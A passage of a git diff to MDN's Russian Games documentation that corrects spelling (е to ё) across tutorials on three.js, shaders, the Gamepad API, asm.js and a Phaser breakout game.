полезное свойство - мы можем изменять их как хотим. Например, вы можете вращать его и масштабировать, сколько угодно. Что давайте немного повернём его, чтобы видеть больше сторон. Добавить в конец кода эту строку:</p> <pre class="brush: js notranslate">cube.rotation.set(0.4, 0.2, 0); </pre> @@ -217,7 +217,7 @@ scene.add(light); <h2 id="Анимация">Анимация</h2> -<p>Мы можем использовать 'rotation', чтобы поменять положение куба. Также мы можем масштабировать фигуры или изменять их положение. Чтобы создать анимацию нужно внесенные изменения внести в цикл рендеринга, чтобы изменения происходили в каждом кадре.</p> +<p>Мы можем использовать 'rotation', чтобы поменять положение куба. Также мы можем масштабировать фигуры или изменять их положение. Чтобы создать анимацию нужно внесённые изменения внести в цикл рендеринга, чтобы изменения происходили в каждом кадре.</p> <h3 id="Вращение">Вращение</h3> diff --git a/files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html b/files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html index 9121cc00e2..7b7c6dc59e 100644 --- a/files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html +++ b/files/ru/games/techniques/3d_on_the_web/glsl_shaders/index.html @@ -131,7 +131,7 @@ translation_of: Games/Techniques/3D_on_the_web/GLSL_Shaders <pre class="brush: js">// var basicMaterial = new THREE.MeshBasicMaterial({color: 0x0095DD}); </pre> -<p>Далее, создаем <a href="http://threejs.org/docs/#Reference/Materials/ShaderMaterial"><code>shaderMaterial</code></a>:</p> +<p>Далее, создаём <a href="http://threejs.org/docs/#Reference/Materials/ShaderMaterial"><code>shaderMaterial</code></a>:</p> <pre class="brush: js">var shaderMaterial = new THREE.ShaderMaterial( { vertexShader: document.getElementById( 'vertexShader' ).textContent, diff --git a/files/ru/games/techniques/async_scripts/index.html b/files/ru/games/techniques/async_scripts/index.html index 914600cd94..2f50c87da4 100644 --- a/files/ru/games/techniques/async_scripts/index.html +++ b/files/ru/games/techniques/async_scripts/index.html @@ -24,11 +24,11 @@ translation_of: Games/Techniques/Async_scripts script.src = "file.js"; document.body.appendChild(script);</code></pre> -<p><font><font>(скрипты создаются из скрипта по умолчанию </font></font><code>async</code><font><font>.) Стандартная оболочка HTML, которую генерирует Emscripten, создает последнее.</font></font></p> +<p><font><font>(скрипты создаются из скрипта по умолчанию </font></font><code>async</code><font><font>.) Стандартная оболочка HTML, которую генерирует Emscripten, создаёт последнее.</font></font></p> <h2 id="Когда_асинхронный_не_асинхронный"><font><font>Когда асинхронный не асинхронный?</font></font></h2> -<p><font><font>Две распространенные ситуации, в которых сценарий * не * асинхронен (как </font></font><a href="http://www.w3.org/TR/html5/scripting-1.html"><font><font>определено спецификацией HTML</font></font></a><font><font> ):</font></font></p> +<p><font><font>Две распространённые ситуации, в которых сценарий * не * асинхронен (как </font></font><a href="http://www.w3.org/TR/html5/scripting-1.html"><font><font>определено спецификацией HTML</font></font></a><font><font> ):</font></font></p> <pre><code><script async>code</script></code></pre> diff --git a/files/ru/games/techniques/controls_gamepad_api/index.html b/files/ru/games/techniques/controls_gamepad_api/index.html index 512f3143d4..6f84031d8d 100644 --- a/files/ru/games/techniques/controls_gamepad_api/index.html +++ b/files/ru/games/techniques/controls_gamepad_api/index.html @@ -17,13 +17,13 @@ translation_of: Games/Techniques/Controls_Gamepad_API <h2 id="Элементы_управления_для_web_игр">Элементы управления для web игр</h2> -<p>Исторически игра на консоли, подключенной к телевизору, всегда была совершенно другим опытом, чем игра на ПК, в основном из-за уникальных элементов управления. В конце концов, дополнительные драйверы и плагины позволили нам использовать консольные геймпады с настольными играми - либо нативными играми, либо теми, которые работают в браузере. Теперь, в эпоху HTML5, у нас наконец есть API Gamepad, который дает нам возможность играть в браузерные игры с использованием геймпад-контроллеры без каких-либо плагинов. API Gamepad достигает этого, предоставляя интерфейс, демонстрирующий нажатия кнопок и изменения оси, которые могут быть использованы внутри кода JavaScript для обработки входных данных. Это хорошие времена для браузерных игр.</p> +<p>Исторически игра на консоли, подключённой к телевизору, всегда была совершенно другим опытом, чем игра на ПК, в основном из-за уникальных элементов управления. В конце концов, дополнительные драйверы и плагины позволили нам использовать консольные геймпады с настольными играми - либо нативными играми, либо теми, которые работают в браузере. Теперь, в эпоху HTML5, у нас наконец есть API Gamepad, который даёт нам возможность играть в браузерные игры с использованием геймпад-контроллеры без каких-либо плагинов. API Gamepad достигает этого, предоставляя интерфейс, демонстрирующий нажатия кнопок и изменения оси, которые могут быть использованы внутри кода JavaScript для обработки входных данных. Это хорошие времена для браузерных игр.</p> <p><img alt="gamepad-controls" src="http://end3r.com/tmp/gamepad/gamepadapi-hungryfridge-img01.png" style="display: block; height: 400px; margin: 0px auto; width: 600px;"></p> <h2 id="API_статус_и_поддержка_браузера">API статус и поддержка браузера</h2> -<p><a href="http://www.w3.org/TR/gamepad/">Gamepad API</a> все еще находится на стадии рабочего проекта в процессе W3C, что означает, что его реализация все еще может измениться, но говорит о том, что поддержка браузера уже довольно хороша. Firefox 29+ и Chrome 35+ поддерживают его сразу после установки. Opera поддерживает API в версии 22+ (неудивительно, учитывая, что теперь они используют движок Blink Chrome.) И Microsoft недавно реализовала поддержку API в Edge,что означает, что четыре основных браузера теперь поддерживают API Gamepad.</p> +<p><a href="http://www.w3.org/TR/gamepad/">Gamepad API</a> все ещё находится на стадии рабочего проекта в процессе W3C, что означает, что его реализация все ещё может измениться, но говорит о том, что поддержка браузера уже довольно хороша. Firefox 29+ и Chrome 35+ поддерживают его сразу после установки. Opera поддерживает API в версии 22+ (неудивительно, учитывая, что теперь они используют движок Blink Chrome.) И Microsoft недавно реализовала поддержку API в Edge,что означает, что четыре основных браузера теперь поддерживают API Gamepad.</p> <h2 id="Какие_геймпады_лучше_всего">Какие геймпады лучше всего?</h2> @@ -37,11 +37,11 @@ translation_of: Games/Techniques/Controls_Gamepad_API <p>The competition ran in November 2013 and decided to take part in it. The theme for the competition was "change", so they submitted a game where you have to feed the Hungry Fridge by tapping the healthy food (apples, carrots, lettuces) and avoid the "bad" food (beer, burgers, pizza.) A countdown changes the type of food the Fridge wants to eat every few seconds, so you have to be careful and act quickly. You can <a href="http://enclavegames.com/games/hungry-fridge/">try Hungry Fridge here</a>.</p> -<p>Конкурс <a href="https://github.com/blog/1674-github-game-off-ii">GitHub Game Off II</a> состоялся в ноябре 2013 года, и <a href="http://enclavegames.com/">Enclave Games</a> решила принять в нем участие. Тема для конкурса была "переменна", поэтому они представили игру, в которой Вы должны накормить голодный холодильник, нажав на здоровую пищу (яблоки, морковь, салат) и избежать "плохой" пищи (пиво, гамбургеры, пицца.) Обратный отсчет меняет тип пищи, которую холодильник хочет съесть каждые несколько секунд, поэтому вы должны быть осторожны и действовать быстро. Вы можете попробовать Голодный холодильник <a href="http://enclavegames.com/games/hungry-fridge/">здесь</a>.</p> +<p>Конкурс <a href="https://github.com/blog/1674-github-game-off-ii">GitHub Game Off II</a> состоялся в ноябре 2013 года, и <a href="http://enclavegames.com/">Enclave Games</a> решила принять в нем участие. Тема для конкурса была "переменна", поэтому они представили игру, в которой Вы должны накормить голодный холодильник, нажав на здоровую пищу (яблоки, морковь, салат) и избежать "плохой" пищи (пиво, гамбургеры, пицца.) Обратный отсчёт меняет тип пищи, которую холодильник хочет съесть каждые несколько секунд, поэтому вы должны быть осторожны и действовать быстро. Вы можете попробовать Голодный холодильник <a href="http://enclavegames.com/games/hungry-fridge/">здесь</a>.</p> <p><img alt="hungryfridge-mainmenu" src="http://end3r.com/tmp/gamepad/gamepadapi-hungryfridge-img02.png" style="display: block; height: 333px; margin: 0px auto; width: 500px;"></p> -<p>Вторая, скрытая реализация "изменения" - это возможность превратить статичный холодильник в полноценную движущуюся, стреляющую и едящую машину. Когда вы подключаете контроллер, игра значительно меняется (голодный холодильник превращается в супер турбо голодный холодильник), и вы можете управлять бронированным холодильником с помощью API Gamepad. Вы должны сбивать еду, но вы все еще должны искать тип пищи, которую холодильник хочет съесть в каждой точке, иначе вы потеряете энергию.</p> +<p>Вторая, скрытая реализация "изменения" - это возможность превратить статичный холодильник в полноценную движущуюся, стреляющую и едящую машину. Когда вы подключаете контроллер, игра значительно меняется (голодный холодильник превращается в супер турбо голодный холодильник), и вы можете управлять бронированным холодильником с помощью API Gamepad. Вы должны сбивать еду, но вы все ещё должны искать тип пищи, которую холодильник хочет съесть в каждой точке, иначе вы потеряете энергию.</p> <p><img alt="hungryfridge-howtoplay-gamepad" src="http://end3r.com/tmp/gamepad/gamepadapi-hungryfridge-img03.png" style="display: block; height: 333px; margin: 0px auto; width: 500px;"></p> @@ -63,7 +63,7 @@ translation_of: Games/Techniques/Controls_Gamepad_API <h2 id="Реализация">Реализация</h2> -<p>Есть два важных события, которые можно использовать вместе с API Gamepad-<code>gamepadconnected </code>и <code>gamepaddisconnected</code>. Первый срабатывает, когда браузер обнаруживает подключение нового геймпада, а второй - когда геймпад отключен (либо физически пользователем, либо из-за бездействия).) В демо-версии объект <code>gamepadAPI </code>используется для хранения всего, что связано с API:</p> +<p>Есть два важных события, которые можно использовать вместе с API Gamepad-<code>gamepadconnected </code>и <code>gamepaddisconnected</code>. Первый срабатывает, когда браузер обнаруживает подключение нового геймпада, а второй - когда геймпад отключён (либо физически пользователем, либо из-за бездействия).) В демо-версии объект <code>gamepadAPI </code>используется для хранения всего, что связано с API:</p> <pre class="brush: js"><code>var gamepadAPI = { controller: {}, @@ -118,11 +118,11 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code> <h3 id="Объект_геймпада">Объект геймпада</h3> -<p>В объекте <code>gamepad </code>содержится много полезной информации, причем наиболее важными являются состояния кнопок и осей:</p> +<p>В объекте <code>gamepad </code>содержится много полезной информации, причём наиболее важными являются состояния кнопок и осей:</p> <ul> <li><code>id</code>: Строка, содержащая информацию о контроллере.</li> - <li><code>index</code>: Уникальный идентификатор для подключенного устройства.</li> + <li><code>index</code>: Уникальный идентификатор для подключённого устройства.</li> <li><code>connected</code>: Логическая переменная. Возвращает <code>true</code> при подключении.</li> <li><code>mapping</code>: Тип компоновки кнопок; Стандартный - единственный доступный вариант на данный момент.</li> <li><code>axes</code>: Состояние каждой оси, представленное массивом значений с плавающей запятой.</li> @@ -133,7 +133,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code> <h3 id="Запрос_объекта_геймпада">Запрос объекта геймпада</h3> -<p>Помимо <code>connect()</code> и <code>disconnect()</code>, в объекте <code>gamepadAPI </code>есть еще два метода: <code>update()</code> и <code>buttonPressed()</code>. <code>update() </code>выполняется на каждом кадре внутри игрового цикла, чтобы регулярно обновлять фактическое состояние объекта геймпада:</p> +<p>Помимо <code>connect()</code> и <code>disconnect()</code>, в объекте <code>gamepadAPI </code>есть ещё два метода: <code>update()</code> и <code>buttonPressed()</code>. <code>update() </code>выполняется на каждом кадре внутри игрового цикла, чтобы регулярно обновлять фактическое состояние объекта геймпада:</p> <pre class="brush: js"><code>update: function() { // clear the buttons cache @@ -175,7 +175,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code> <h3 id="Обнаружение_нажатия_кнопок">Обнаружение нажатия кнопок</h3> -<p>Метод <code>buttonPressed()</code> также помещается в основной игровой цикл для обработки нажатий кнопок. Для этого требуется два параметра - кнопка, которую мы хотим прослушать, и (необязательно) способ сообщить игре, что удержание кнопки принято. Без него вам придется отпустить кнопку и нажать ее снова, чтобы получить желаемый эффект.</p> +<p>Метод <code>buttonPressed()</code> также помещается в основной игровой цикл для обработки нажатий кнопок. Для этого требуется два параметра - кнопка, которую мы хотим прослушать, и (необязательно) способ сообщить игре, что удержание кнопки принято. Без него вам придётся отпустить кнопку и нажать её снова, чтобы получить желаемый эффект.</p> <pre class="brush: js"><code>buttonPressed: function(button, hold) { var newPress = false; @@ -213,7 +213,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code> }</code> </pre> -<p>Если <code>gamepadAPI.turbo</code> возвращает <code>true</code>, при нажатии (или удержании) данных кнопок мы выполняем соответствующие функции, возложенные на них. В этом случае нажатие или удержание "A" приведет к выстрелу пули, а нажатие "B" поставит игру на паузу.</p> +<p>Если <code>gamepadAPI.turbo</code> возвращает <code>true</code>, при нажатии (или удержании) данных кнопок мы выполняем соответствующие функции, возложенные на них. В этом случае нажатие или удержание "A" приведёт к выстрелу пули, а нажатие "B" поставит игру на паузу.</p> <h3 id="Порог_оси">Порог оси</h3> @@ -229,7 +229,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code> }</code> </pre> -<p>Даже если мы немного сдвинем его по ошибке или стик не вернется в исходное положение, танк не повернется неожиданно.</p> +<p>Даже если мы немного сдвинем его по ошибке или стик не вернётся в исходное положение, танк не повернётся неожиданно.</p> <h2 id="Обновление_спецификаций">Обновление спецификаций</h2> @@ -237,7 +237,7 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code> <h3 id="Получение_геймпадов">Получение геймпадов</h3> -<p>Метод {{domxref ("Navigator.getGamepads ()")}} был обновлен с более длинным объяснением и примером кода. Теперь длина массива геймпадов должна быть <code>n+1</code>, где <code>n</code>-количество подключенных устройств — когда подключено одно устройство и оно имеет индекс 1, длина массива равна 2, и он будет выглядеть следующим образом: <code>[null, [object Gamepad]]</code>. Если устройство отключено или недоступно, то для него устанавливается значение <code>null</code>.</p> +<p>Метод {{domxref ("Navigator.getGamepads ()")}} был обновлён с более длинным объяснением и примером кода. Теперь длина массива геймпадов должна быть <code>n+1</code>, где <code>n</code>-количество подключённых устройств — когда подключено одно устройство и оно имеет индекс 1, длина массива равна 2, и он будет выглядеть следующим образом: <code>[null, [object Gamepad]]</code>. Если устройство отключено или недоступно, то для него устанавливается значение <code>null</code>.</p> <h3 id="Стандартное_отображение">Стандартное отображение</h3> @@ -257,4 +257,4 @@ window.addEventListener("gamepaddisconnected", gamepadAPI.disconnect);</code> <h2 id="Подведение_итогов">Подведение итогов</h2> -<p>API геймпада очень прост в разработке. Теперь это проще, чем когда-либо, вы можете использовать браузер как консоль без необходимости каких-либо плагинов. Вы можете играть в полную версию игры Hungry Fridge непосредственно в вашем браузере, установить ее из <a href="https://marketplace.firefox.com/app/hungry-fridge">Firefox Marketplace</a> или проверить исходный код демо-версии вместе со всеми другими ресурсами в <a href="https://github.com/EnclaveGames/Hungry-Fridge">комплекте контента Gamepad API</a>.</p> +<p>API геймпада очень прост в разработке. Теперь это проще, чем когда-либо, вы можете использовать браузер как консоль без необходимости каких-либо плагинов. Вы можете играть в полную версию игры Hungry Fridge непосредственно в вашем браузере, установить её из <a href="https://marketplace.firefox.com/app/hungry-fridge">Firefox Marketplace</a> или проверить исходный код демо-версии вместе со всеми другими ресурсами в <a href="https://github.com/EnclaveGames/Hungry-Fridge">комплекте контента Gamepad API</a>.</p> diff --git a/files/ru/games/tools/asm.js/index.html b/files/ru/games/tools/asm.js/index.html index 08e08bb6bc..852bcf954e 100644 --- a/files/ru/games/tools/asm.js/index.html +++ b/files/ru/games/tools/asm.js/index.html @@ -13,18 +13,18 @@ original_slug: Games/Инструменты/asm.js <div>{{IncludeSubnav("/en-US/docs/Games")}}</div> <div class="summary"> -<p><span class="seoSummary"><a href="http://asmjs.org/">Asm.js</a> - это подмножество JavaScript, имеющее более высокую оптимизацию. В этой статье описаны возможности asm.js, улучшения которые оно дает, где и как это можно применять, а также дополнительные ресурсы и примеры.</span></p> +<p><span class="seoSummary"><a href="http://asmjs.org/">Asm.js</a> - это подмножество JavaScript, имеющее более высокую оптимизацию. В этой статье описаны возможности asm.js, улучшения которые оно даёт, где и как это можно применять, а также дополнительные ресурсы и примеры.</span></p> </div> <h2 id="Что_такое_asm.js">Что такое asm.js?</h2> <p>Это небольшое, более строгое подмножество JavaScript которое ограничивает стандартный язык только конструкциями, типа `while`, `if` и данными в виде чисел, именованных функций, и другими простыми вещами. Оно не разрешает использование объектов, строк, и всего, что требует больших нагрузок. <a href="http://asmjs.org/">Asm.js</a> напоминает C во многих вещах, но он является полностью валидным кодом на JavaScript и работает на всех имеющихся движках. Он позволяет JS движкам, поддерживающим <a href="http://asmjs.org/">asm.js</a>, оптимизировать такой код и даёт компиляторам, типа Emscripten, чёткое определение того, как нужно компилировать. Мы покажем, как asm.js код выглядит, чем он полезен и как с ним работать.</p> -<p>Это подмножество JavaScript уже автоматически используется во многих движках, использующих технологию компиляции <a href="https://ru.wikipedia.org/wiki/JIT-%D0%BA%D0%BE%D0%BC%D0%BF%D0%B8%D0%BB%D1%8F%D1%86%D0%B8%D1%8F">Just-In-Time (JIT)</a>. Однако, указав явный стандарт, мы можем улучшить оптимизацию такого кода и получить максимальную производительность. Благодаря этому, упрощается совместная работа нескольких JS движков, потому что легче договориться о стандартах. Идея в том, что этот вид кода должен работать очень быстро в каждом движке, и если это не так, это ошибка, и есть четкая спецификация, что именно движки должны оптимизировать.</p> +<p>Это подмножество JavaScript уже автоматически используется во многих движках, использующих технологию компиляции <a href="https://ru.wikipedia.org/wiki/JIT-%D0%BA%D0%BE%D0%BC%D0%BF%D0%B8%D0%BB%D1%8F%D1%86%D0%B8%D1%8F">Just-In-Time (JIT)</a>. Однако, указав явный стандарт, мы можем улучшить оптимизацию такого кода и получить максимальную производительность. Благодаря этому, упрощается совместная работа нескольких JS движков, потому что легче договориться о стандартах. Идея в том, что этот вид кода должен работать очень быстро в каждом движке, и если это не так, это ошибка, и есть чёткая спецификация, что именно движки должны оптимизировать.</p> -<p>Это также делает <a href="http://asmjs.org/">asm.js</a> достаточно простым для людей, которые пишут компиляторы высокопроизводительного кода под web. Они могут обратиться к спецификации <a href="http://asmjs.org/">asm.js</a>, чтобы найти более быстрые паттерны для него. <a href="https://github.com/kripken/emscripten">Emscripten</a>, компилятор C/C++ в JavaScript, выдает код <a href="http://asmjs.org/">asm.js</a>, работающий в некоторых браузерах с производительностью, близкой к машинному коду.</p> +<p>Это также делает <a href="http://asmjs.org/">asm.js</a> достаточно простым для людей, которые пишут компиляторы высокопроизводительного кода под web. Они могут обратиться к спецификации <a href="http://asmjs.org/">asm.js</a>, чтобы найти более быстрые паттерны для него. <a href="https://github.com/kripken/emscripten">Emscripten</a>, компилятор C/C++ в JavaScript, выдаёт код <a href="http://asmjs.org/">asm.js</a>, работающий в некоторых браузерах с производительностью, близкой к машинному коду.</p> -<p>Кроме того, если движок специально распознает код <a href="http://asmjs.org/">asm.js</a>, то можно сделать еще больше оптимизаций. На данный момент Chrome (<a href="https://www.chromestatus.com/feature/5053365658583040">статус</a>) и Firefox обладают поддержкой asm.js. Firefox имеет поддержку передовых фич asm.js</p> +<p>Кроме того, если движок специально распознает код <a href="http://asmjs.org/">asm.js</a>, то можно сделать ещё больше оптимизаций. На данный момент Chrome (<a href="https://www.chromestatus.com/feature/5053365658583040">статус</a>) и Firefox обладают поддержкой asm.js. Firefox имеет поддержку передовых фич asm.js</p> <h2 id="В_общем_об_asm.js">В общем об asm.js</h2> diff --git a/files/ru/games/tools/index.html b/files/ru/games/tools/index.html index 91e2bf3f41..f4adb6f5b3 100644 --- a/files/ru/games/tools/index.html +++ b/files/ru/games/tools/index.html @@ -28,7 +28,7 @@ original_slug: Games/Инструменты <ul> <li>Обзор базовых инструментов</li> <li><a href="/en-US/docs/Tools/Shader_Editor">Редактор шейдеров</a></li> - <li>Производственные инструменты (все еще находятся в производстве, по оценкам, в начале 2014 года)</li> + <li>Производственные инструменты (все ещё находятся в производстве, по оценкам, в начале 2014 года)</li> </ul> </dd> </dl> diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html index 8d4171bde1..45bdac302b 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/build_the_brick_field/index.html @@ -107,7 +107,7 @@ var brickInfo; var brickY = (r*(brickInfo.height+brickInfo.padding))+brickInfo.offset.top; </pre> -<p>Координата <code>x</code> каждого кирпича рассчитывается на основе суммы ширины кирпича <code>brickInfo.width</code> и зазора <code>brickInfo.padding</code>, умноженной на номер столбца <code>с</code>, после этого добавляем отступ от левого края <code>brickInfo.offset.left</code>; Расчет <code>y</code> аналогичен, только используются номер ряда <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">r</span></font>, высота кирпича <code>brickInfo.height</code> и отступ от верхнего края <code>brickInfo.offset.top</code>. Вот теперь каждый кирпич на своём месте, с учётом всех отступов и зазоров.</p> +<p>Координата <code>x</code> каждого кирпича рассчитывается на основе суммы ширины кирпича <code>brickInfo.width</code> и зазора <code>brickInfo.padding</code>, умноженной на номер столбца <code>с</code>, после этого добавляем отступ от левого края <code>brickInfo.offset.left</code>; Расчёт <code>y</code> аналогичен, только используются номер ряда <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">r</span></font>, высота кирпича <code>brickInfo.height</code> и отступ от верхнего края <code>brickInfo.offset.top</code>. Вот теперь каждый кирпич на своём месте, с учётом всех отступов и зазоров.</p> <h2 id="Проверяем_код_функции_initBricks()">Проверяем код функции initBricks()</h2> diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html index d19481e9ca..b01d6bf0ac 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/extra_lives/index.html @@ -97,7 +97,7 @@ lifeLostText.visible = false; } </pre> -<p>Вместо того, чтобы сразу вызывать сообщение, когда мяч выходит за пределы Canvas, мы сначала вычитаем одну жизнь из текущего числа и проверяем, не равно ли оно нулю. Если не равно, то у игрока все еще осталось несколько жизней, и он может продолжать играть - он увидит сообщение о потере жизни, позиции мяча и платформы будут сброшены и при следующем клике мышью сообщение будет скрыто и мяч снова начнет двигаться.</p> +<p>Вместо того, чтобы сразу вызывать сообщение, когда мяч выходит за пределы Canvas, мы сначала вычитаем одну жизнь из текущего числа и проверяем, не равно ли оно нулю. Если не равно, то у игрока все ещё осталось несколько жизней, и он может продолжать играть - он увидит сообщение о потере жизни, позиции мяча и платформы будут сброшены и при следующем клике мышью сообщение будет скрыто и мяч снова начнёт двигаться.</p> <p>Когда количество жизней достигнет нуля игра заканчивается, а игроку показывается соответствующее сообщение.</p> @@ -113,6 +113,6 @@ lifeLostText.visible = false; <h2 id="Следующий_шаг">Следующий шаг</h2> -<p>Жизни делают игру более казуальной — даже если вы проиграете единожды, у вас будут еще 2 жизни и вы сможете продолжить игру. Теперь мы можем поработать над внешним видом игры, сделать ее более красивой, добавив <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens">анимацию и эффекты </a>.</p> +<p>Жизни делают игру более казуальной — даже если вы проиграете единожды, у вас будут ещё 2 жизни и вы сможете продолжить игру. Теперь мы можем поработать над внешним видом игры, сделать её более красивой, добавив <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens">анимацию и эффекты </a>.</p> <p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Win_the_game", "Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens")}}</p> diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html index c39dd38a7c..9e890e0d65 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/game_over/index.html @@ -14,7 +14,7 @@ original_slug: Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser <p>Это <strong>8 </strong>из 16 уроков <a href="https://developer.mozilla.org/ru/docs/Games/Tutorials/%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_2D_Breakout_%D0%B8%D0%B3%D1%80%D1%8B_%D0%BD%D0%B0_Phaser">руководства разработки игры с помощью Phaser</a>. Исходный код этого урока вы можете найти здесь: <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson08.html">Gamedev-Phaser-Content-Kit/demos/lesson08.html</a>.</p> </div> -<p><span class="seoSummary">Чтобы разнообразить игру, давайте добавим возможность проигрыша — если вы не отобьете мячик и дадите ему упасть на пол, то game over.</span></p> +<p><span class="seoSummary">Чтобы разнообразить игру, давайте добавим возможность проигрыша — если вы не отобьёте мячик и дадите ему упасть на пол, то game over.</span></p> <h2 id="Проигрыш">Проигрыш</h2> diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html index e9de5c8ec3..ba34f51148 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/physics/index.html @@ -31,7 +31,7 @@ original_slug: Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser <pre class="brush: js">game.physics.startSystem(Phaser.Physics.ARCADE); </pre> -<p>Во-вторых, нам необходимо добавить мяч в физическую систему, потому что объект, отвечающий за физику в Phaser, не включен по умолчанию. Добавьте следующую строку в конце функции <code>create()</code>: </p> +<p>Во-вторых, нам необходимо добавить мяч в физическую систему, потому что объект, отвечающий за физику в Phaser, не включён по умолчанию. Добавьте следующую строку в конце функции <code>create()</code>: </p> <pre class="brush: js">game.physics.enable(ball, Phaser.Physics.ARCADE); </pre> diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html index 2064e6aa09..06441df2ff 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/player_paddle_and_controls/index.html @@ -20,7 +20,7 @@ original_slug: Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser <p>С точки зрения фреймворка, платформа и мячик не сильно различаются - нам так же понадобится переменная для платформы, спрайт и немного магии.</p> -<h3 id="Создаем_платформу">Создаем платформу</h3> +<h3 id="Создаём_платформу">Создаём платформу</h3> <p>Сначала, добавим переменную <code>paddle</code>, сразу после переменной <code>ball</code>:</p> diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html index 30c80ddf18..878ab3eedc 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/scaling/index.html @@ -39,7 +39,7 @@ original_slug: Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser <li><code>NO_SCALE</code> — ничего не масштабировать.</li> <li><code>EXACT_FIT</code> — масштабировать с полным заполнением пустого места вертикально и горизонтально, не соблюдая соотношение (aspect ratio).</li> <li><code>SHOW_ALL</code> — масштабирует игру, но сохраняет соотношение так, что картинки не будут искажаться, как и при предыдущем значении. Возможно наличие чёрных полос по краям экрана, но мы можем жить с этим.</li> - <li><code>RESIZE</code> — создает {{htmlelement("canvas")}} с доступными шириной и высотой так, что вы можете помещать объекты в игру динамически; это расширенный режим (advanced mode).</li> + <li><code>RESIZE</code> — создаёт {{htmlelement("canvas")}} с доступными шириной и высотой так, что вы можете помещать объекты в игру динамически; это расширенный режим (advanced mode).</li> <li><code>USER_SCALE</code> — позволяет вам делать динамическое масштабирование, подсчёт размеров, масштаб и соотношение самостоятельно; опять же это расширенный режим.</li> </ul> diff --git a/files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html b/files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html index 95f3e31b65..aea0e44784 100644 --- a/files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_phaser/win_the_game/index.html @@ -38,7 +38,7 @@ original_slug: Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser } </pre> -<p>Чтобы перебрать все кирпичи в наборе, необходимо обратиться к полю <code>bricks.children</code>. Найдём все неразрешенные кирпичи, проверяя поле <code>alive</code> у каждого кирпича и, если все кирпичи разрушены, выведем всплывающее окно с текстом о победе. После закрытия этого окна, страница перезагрузится.</p> +<p>Чтобы перебрать все кирпичи в наборе, необходимо обратиться к полю <code>bricks.children</code>. Найдём все неразрешённые кирпичи, проверяя поле <code>alive</code> у каждого кирпича и, если все кирпичи разрушены, выведем всплывающее окно с текстом о победе. После закрытия этого окна, страница перезагрузится.</p> <h2 id="Сравните_свой_код">Сравните свой код</h2> diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html index f94fabfb04..54bcf6cb81 100644 --- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/bounce_off_the_walls/index.html @@ -21,13 +21,13 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_ <p>Это 3-й этап из 10 <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. Вы можете найти исходный код как он должен выглядеть после завершения этого урока в <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson03.html">Gamedev-Canvas-workshop/lesson3.html</a>.</p> </div> -<p>Приятно наблюдать за нашим мяч, но он быстро исчезает с экрана, удовольствие длится недолго! Чтобы продлить, мы реализуем некоторое очень простое обнаружение столкновений (о которых будет рассказано <a 